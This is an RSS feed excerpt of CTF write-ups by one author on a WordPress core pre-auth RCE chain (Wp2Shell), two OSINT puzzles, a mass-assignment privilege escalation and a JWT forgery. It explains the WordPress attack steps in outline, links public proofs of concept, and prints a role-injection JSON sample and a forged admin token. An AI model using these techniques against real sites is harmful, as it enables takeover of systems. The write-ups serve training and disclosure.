            <dc:creator><![CDATA[Naba]]></dc:creator>
            <pubDate>Tue, 27 Oct 2026 08:22:03 GMT</pubDate>
            <atom:updated>2026-10-27T08:22:03.810Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bIOWqBr-bff5UlzcaIt9fQ.png" /></figure><h3>Challenge Overview:</h3><p>The target was a corporate WordPress site for <strong>Meridian Industries</strong>. The web team claimed it was locked down: a fresh install, no plugins, a custom theme, and nothing exposed. The goal was to prove otherwise and capture the flag (RSEC{…}).</p><h3>Initial Recon:</h3><p>The site loaded a simple corporate page with a single “Hello world!” post No plugins were visible, and the installation looked clean and up to date This pointed away from plugin or theme issues and toward something in <strong>WordPress core</strong></p><h4>The Vulnerability: Wp2Shell</h4><p>Wp2Shell is a pre-authentication remote code execution chain in WordPress core. It combines two separate bugs that, together, allow an unauthenticated attacker to go from zero access to full code execution on a default install</p><h4>CVE-2026–63030 — Batch Route Confusion (Desync)</h4><p>WordPress introduced a REST API batch endpoint (/wp-json/batch/v1 or /?rest_route=/batch/v1) that lets a client send multiple requests in one call.</p><p>When a deliberately malformed path (such as <a href="http://:)">http://:)</a> is included in the batch, wp_parse_url() fails. This causes an off-by-one error between the internal arrays that track handlers and validation results. As a result, a later sub-request is dispatched through a handler it was never validated for — effectively bypassing permission checks</p><h4>CVE-2026–60137 — SQL Injection in author__not_in</h4><p>The desync delivers attacker-controlled input into the author__not_in parameter of WP_Query. Under normal conditions this parameter is sanitized with absint(), but because of the route confusion it never passes through that check. The raw string is concatenated directly into the SQL WHERE clause, turning it into a classic SQL injection</p><p>On its own this is only a read/write primitive. Combined with the desync it becomes pre-auth</p><h4>From SQL Injection to RCE</h4><p>The chain turns the SQLi into full RCE using WordPress’s own features:</p><ol><li><strong>Row forgery</strong> — A UNION ALL SELECT injects fake rows into the wp_posts result set</li><li><strong>Write primitive</strong> — The forged posts contain [embed] shortcodes. When WordPress renders them it stores real oembed_cache rows in the database</li><li><strong>Privilege escalation</strong> — A forged customizer changeset (authored as the real admin) plus a self-referential request post forces WordPress to re-enter its request pipeline with administrator privileges</li><li><strong>Admin creation</strong> — In that elevated context a POST /wp/v2/users request succeeds and creates a new administrator</li><li><strong>Code execution</strong> — The new admin account is used to upload a plugin containing a webshell and run arbitrary commands</li></ol><h3>Affected Versions:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*f5mqzxWfNw6VW-ZVqapAzA.png" /></figure><p>The full chain requires no plugins and works on a stock install (as long as there is no persistent object cache)</p><h3>Exploitation:</h3><h4>Step 1: Download the exploit:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iuczZBMqa8X-Vaa2rmXMbw.png" /></figure><h4>Step 2: Check if the site is vulnerable:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vVHKGbHNxyxB_Dvmz92Ucg.png" /></figure><h4>Step 3: Get a shell and read the flag:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*35QNMU4oIw74fhmQmOhqsg.png" /></figure><p><strong>Result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-g84M9xrpBSRGX_KfZq2_g.png" /></figure><p>The flag was simply sitting in /flag on the server.</p><h3>Conclusion:</h3><p>Even a “clean” WordPress site with no plugins can be fully compromised if it’s running a vulnerable version. The problem was in WordPress core, not in any third-party code.</p><p><strong>Fix:</strong> Update WordPress to 6.9.5, 7.0.2, or later</p><h3>References:</h3><p><strong>Official / Primary Sources</strong></p><ul><li><a href="https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/">Searchlight Cyber — wp2shell Advisory</a></li><li><a href="https://wordpress.org/news/2026/07/wordpress-7-0-2-release/">WordPress 7.0.2 Release Notes</a></li><li><a href="https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q">GHSA-ff9f-jf42–662q</a> (CVE-2026–63030)</li><li><a href="https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf">GHSA-fpp7-x2x2–2mjf</a> (CVE-2026–60137)</li></ul><p><strong>Public PoCs</strong></p><ul><li><a href="https://github.com/mcipekci/wp2shell">mcipekci/wp2shell</a> (used in this write-up)</li><li><a href="https://github.com/Icex0/wp2shell-poc">Icex0/wp2shell-poc</a></li><li><a href="https://github.com/0xsha/wp2shell">0xsha/wp2shell</a></li><li><a href="https://github.com/Crypto-Cat/wp2shell">Crypto-Cat/wp2shell</a></li></ul><p><strong>Additional Analysis &amp; Detection</strong></p><ul><li><a href="https://www.securityweek.com/wp2shell-wordpress-vulnerabilities-exploited-in-the-wild/">SecurityWeek — WP2Shell Exploited in the Wild</a></li><li><a href="https://research.eye.security/wp2shell-defenders-guide/">Eye Security — Incident Response Guide</a></li><li><a href="https://www.elastic.co/security-labs/blog/wp2shell-wordpress-rce-detection-elastic-defend">Elastic Security Labs — Detection Guide</a></li><li><a href="https://www.cyberkendra.com/2026/07/wp2shell-guide.html">Cyber Kendra — WP2Shell Guide</a></li></ul><p><strong>Vulnerability Checker</strong></p><ul><li><a href="https://wp2shell.com/">wp2shell.com</a> (Searchlight Cyber)</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b7add42ac91b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Overheard at Breakfast — Hacker Holidays OSINT Write-up️]]></title>
            <link>https://medium.com/@naba.malkhatib/overheard-at-breakfast-hacker-holidays-osint-write-up-%EF%B8%8F-d7d657221fb0?source=rss-6d93a025c883------2</link>
            <guid isPermaLink="false">https://medium.com/p/d7d657221fb0</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Naba]]></dc:creator>
            <pubDate>Sat, 01 Aug 2026 18:11:14 GMT</pubDate>
            <atom:updated>2026-08-01T18:11:14.495Z</atom:updated>
            <content:encoded><![CDATA[<h3>Challenge Overview</h3><p><strong>Challenge:</strong> Overheard at Breakfast<br> <strong>Category:</strong> OSINT<br> <strong>Difficulty:</strong> Easy<br> <strong>Event:</strong> Hacker Holidays · The Byte Lotus Hotel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*sdDAUBphVYrlQo_FwnSdPQ.png" /></figure><h3>Story</h3><p>The Byte Lotus Hotel was full of conversations during breakfast.<br> One guest managed to capture a screenshot of a conversation that contained clues leading to an account that was never meant to be discovered</p><p>Our goal was to analyze the available clues, identify the hidden account, and recover the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6EhwtxuEr2zDvnRD1CuUjw.png" /></figure><h3>Step 1 Analyzing the Clues</h3><p>After reading the conversation carefully, one piece of information immediately caught my attention:</p><p><strong>An email address.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AwvRztRtvEvcQmjFQyAOIA.png" /></figure><p>Email addresses are valuable OSINT indicators because they are often reused across different services.</p><p>At this point, instead of performing random searches, I started thinking about services that can reveal information based on email addresses</p><p>The challenge hint mentioned a tool starting with:</p><pre>G</pre><p>This immediately made me think of:</p><pre>Gravatar</pre><h3>Step 2 Searching the Email on Gravatar</h3><p>I opened <strong>Gravatar </strong>and used the provided email address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S4BpHZCEk-wkrr8_gBbEgw.png" /></figure><p>The lookup returned several details related to the email hash, including:</p><p>Avatar Image<br>Profile URL<br>Email Hash<br>Avatar URL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D4RAGEP20W5khkEg5PlNBw.png" /></figure><p>The most important result was the Profile URL, which pointed to the public Gravatar profile associated with this email address</p><p>Profile URL:<br><a href="https://gravatar.com/cheerfullysongf28e3c3716">https://gravatar.com/cheerfullysongf28e3c3716</a></p><p>I opened the Profile URL to investigate further…</p><h3>Step 3 — Extracting the Hidden Message</h3><p>After opening the Gravatar profile, I noticed that the account contained a hidden message attached to the profile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*q0_zgQh8SAmxFiDamWDQEw.png" /></figure><p>The message contained a hint that confirmed we had found the correct place:</p><pre>Funny thing about email hashes, they follow you places you didn&#39;t expect.<br>Glad you found the right corner of the internet!<br>Here is your prize:</pre><p>Inside the profile message, I found an encoded string that appeared to contain the final clue:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*R0oGIZCkkmly6lRgcm09CA.png" /></figure><pre>VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9</pre><p>At this point, the next step was to identify the type of encoding used.</p><p>The string format matched a common Base64 pattern, so I proceeded with decoding it</p><h3>Step 4 Decoding the Encoded Data</h3><p>I used a CyberChef to decode the extracted string</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BYrJt8UGryskYFDEG0O7ug.png" /></figure><p>The decoded output revealed the challenge flag</p><p>For the purpose of this write-up, the flag has been hidden:</p><pre>THM{REDACTED}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d7d657221fb0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Echo Chamber Write-up || TraceBash CTF]]></title>
            <link>https://medium.com/@naba.malkhatib/echo-chamber-write-up-tracebash-ctf-343d23941de7?source=rss-6d93a025c883------2</link>
            <guid isPermaLink="false">https://medium.com/p/343d23941de7</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Naba]]></dc:creator>
            <pubDate>Mon, 29 Jun 2026 12:50:17 GMT</pubDate>
            <atom:updated>2026-06-29T12:50:17.012Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*g90lNXsBX3FKSIpaf-VvHw.png" /></figure><h3>Solution</h3><p>The challenge provided a compressed archive containing a forum thread. After extracting the files, I examined the discussion to identify any comments posted by the user <strong>rainyhike22</strong></p><p>One of the user’s comments stated:</p><blockquote><em>“finally logged that tricky FTF on the son of gasworks scrabble cache”</em></blockquote><p>Several keywords immediately stood out:</p><ul><li><strong>logged</strong></li><li><strong>FTF (First To Find)</strong></li><li><strong>cache</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*6lmBjCg4X44Nf8Mxb2YcAA.png" /><figcaption><em>Figure 1: Forum thread showing the comment posted by </em><strong><em>rainyhike22</em></strong><em>, containing the keywords used to identify the activity</em></figcaption></figure><blockquote>The terms <strong>FTF</strong> and <strong>cache</strong> are commonly used in the Geocaching community, making <a href="https://www.geocaching.com/play"><strong>Geocaching.com</strong></a><strong> </strong>the most likely place to continue the investigation</blockquote><p>Searching for <strong>“Son of Gasworks Scrabble”</strong> led to its public Geocaching page, where the unique cache identifier <strong>GCK4GH</strong> was displayed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*XSbzLbjLK5tnoQJNgnlsng.png" /><figcaption><em>Figure 2: Geocaching page for </em><strong><em>“Son of Gasworks Scrabble”</em></strong><em>, showing the unique cache identifier </em><strong><em>GCK4GH</em></strong></figcaption></figure><p>challenge required the identifier in lowercase, the final flag is:</p><blockquote>TBCTF{gck4gh}</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=343d23941de7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Massive Problem || CTF@CIT2026]]></title>
            <link>https://medium.com/@naba.malkhatib/a-massive-problem-ctf-cit2026-0fb999b7a386?source=rss-6d93a025c883------2</link>
            <guid isPermaLink="false">https://medium.com/p/0fb999b7a386</guid>
            <category><![CDATA[massive-attack]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[web]]></category>
            <dc:creator><![CDATA[Naba]]></dc:creator>
            <pubDate>Sun, 19 Apr 2026 20:05:53 GMT</pubDate>
            <atom:updated>2026-04-19T20:05:53.374Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*FWVVDLrn_iRwi06ri9HIAg.png" /></figure><h3>Introduction :</h3><p>In this challenge, we are presented with a web application that allows user registration<br> Our goal is to escalate privileges from a normal user to an administrator by exploiting a <strong>Mass Assignment vulnerability</strong></p><h3>Understanding Mass Assignment:</h3><p>Mass Assignment occurs when a backend blindly accepts all user-supplied input and maps it directly into internal objects without proper validation</p><p>For example:</p><p><strong>{<br> “username”: “user”,<br> “password”: “123”,<br> “role”: “admin”<br>}</strong></p><p>If the server does not filter input fields, an attacker can inject unintended parameters like role and gain elevated privileges</p><h3>Step 1: Exploring the Application</h3><p>We start by visiting the target application and observing the registration form.</p><p>The form includes the following fields:</p><ul><li>Full Name</li><li>Username</li><li>Job Title</li><li>Team</li><li>Password</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5zWyCfEZBH-0F5Kj6YmH4A.png" /></figure><p>After registering a new account, we are redirected to a dashboard showing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v3_jv2eWJv2TU-3oLRwsjQ.png" /></figure><p>Our goal is to change this role to <strong>admin</strong></p><h3>Step 2: Analyzing the Frontend:</h3><p>To better understand how the application works, we inspect the frontend code using the browser console:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*t5Dbh0kd25HV-W0cRW3gGQ.png" /></figure><p>From the HTML, we identify the actual field names used in the form:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*GUrFSQntYZTBvahJfY5D7w.png" /></figure><p>Notice that is used instead of .title jobTitle</p><h3>Step 3: Identifying the Vulnerability:</h3><p>Next, we inspect how the form data is sent to the backend:</p><p>The issue here is that <strong>all form fields are sent directly without filtering</strong>.</p><p>This suggests the backend may also be accepting extra fields</p><h3>Step 4: Exploiting the Vulnerability:</h3><p>We attempt to exploit this by adding an extra parameter role: &quot;admin&quot; in our request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*pFJKobWHuM7hbXMz47OmVQ.png" /></figure><p>If the backend does not validate inputs properly, this will create an admin account</p><h3>Step 5: Logging In:</h3><p>Now we log in using the newly created credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*5fkeybEgLHvcDWYpdyaMIw.png" /></figure><p>After logging in, we observe:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0669DLRs3Goq4XFOuYxX9w.png" /></figure><h3>Step 6: Retrieving the Flag:</h3><p>With admin privileges, a new <strong>Admin Panel</strong> becomes accessible.</p><p>Navigating to it reveals the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ftd0PRCHu22cVPjRVy6ulw.png" /></figure><p><strong><em>CIT{M@ss_@ssignm3nt_Pr1v3sc}</em></strong></p><h3>Final Notes</h3><p>This challenge demonstrates how a simple oversight in input validation can lead to full privilege escalation</p><p>Mass Assignment vulnerabilities are common in modern frameworks, so developers must be cautious when binding user input directly to objects</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0fb999b7a386" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Became Admin in NEXUS Portal Using JWT (0hats CTF Write-up)]]></title>
            <link>https://medium.com/@naba.malkhatib/how-i-became-admin-in-nexus-portal-using-jwt-0hats-ctf-write-up-c5a80db17e6d?source=rss-6d93a025c883------2</link>
            <guid isPermaLink="false">https://medium.com/p/c5a80db17e6d</guid>
            <category><![CDATA[ctf-jwt-web-security]]></category>
            <dc:creator><![CDATA[Naba]]></dc:creator>
            <pubDate>Sat, 28 Mar 2026 19:58:20 GMT</pubDate>
            <atom:updated>2026-03-28T19:59:05.143Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>NEXUS STAFF AUTH || 0hats</strong>CTF</h3><p>get admin</p><p>get admin (: click the link</p><p><a href="https://qrchall.4hats.app/">https://qrchall.4hats.app/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*VtsXBZbCRo3us9b7PIXPXw.png" /></figure><p>While exploring the application, we identified:</p><ul><li>A form to upload QR Codes</li><li>An endpoint: /get_guest_pass</li></ul><p>Accessing this endpoint returns a QR Code corresponding to a <strong>guest user</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*i5tMS4it_URYSY9j_Y6Dtw.png" /></figure><h3><strong>Decode QR Code:</strong></h3><p>We decoded the QR Code using an online tool such as:</p><ul><li><a href="https://qrscanner.net/">https://qrscanner.net/</a></li></ul><p>📌 The result was a JWT token :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VmelhUvpvfXZcvqaQ_gYQg.png" /></figure><h3><strong>Analyze JWT</strong></h3><p>Decoding the token reveals the following payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IaMpjDqsKLZvfB9eQmI-kw.png" /></figure><p><strong>Objective:</strong></p><ul><li>Change is_admin to true</li><li>Gain <strong>admin access</strong></li></ul><h3><strong>Crack Secret Key</strong></h3><p>Since the token uses the <strong>HS256</strong> algorithm, it relies on a shared secret key.</p><p>We attempted to crack the secret using:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*_X5HKBzRF8eFDa3MasiO_w.png" /></figure><p>Result: <strong>superman</strong></p><h3><strong>Forge Admin Token</strong></h3><p>We created a new JWT with elevated privileges:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*5QW6nCr-5oEL57rxvHAFCw.png" /></figure><p>The new Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZX0.eCRzC0RuOEI-mks2_bmxFjVh0ECZokeQdrVICT9fEu8</p><h3>Generate QR &amp; Exploit</h3><p>Converted the forged token into a QR Code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VY9jj-yF8E41sa4-fdwTeA.png" /></figure><p>Uploaded it to the application</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*vuVE8Xg2a3MN4NLlS_V4Og.png" /></figure><p>Successfully logged in as <strong>admin</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*5TZ0tG7-g529cyddwnJxqA.png" /></figure><h3>🚩 Flag :</h3><p>0hats{Nexus_Secure_Systems_Breached_2024}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c5a80db17e6d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>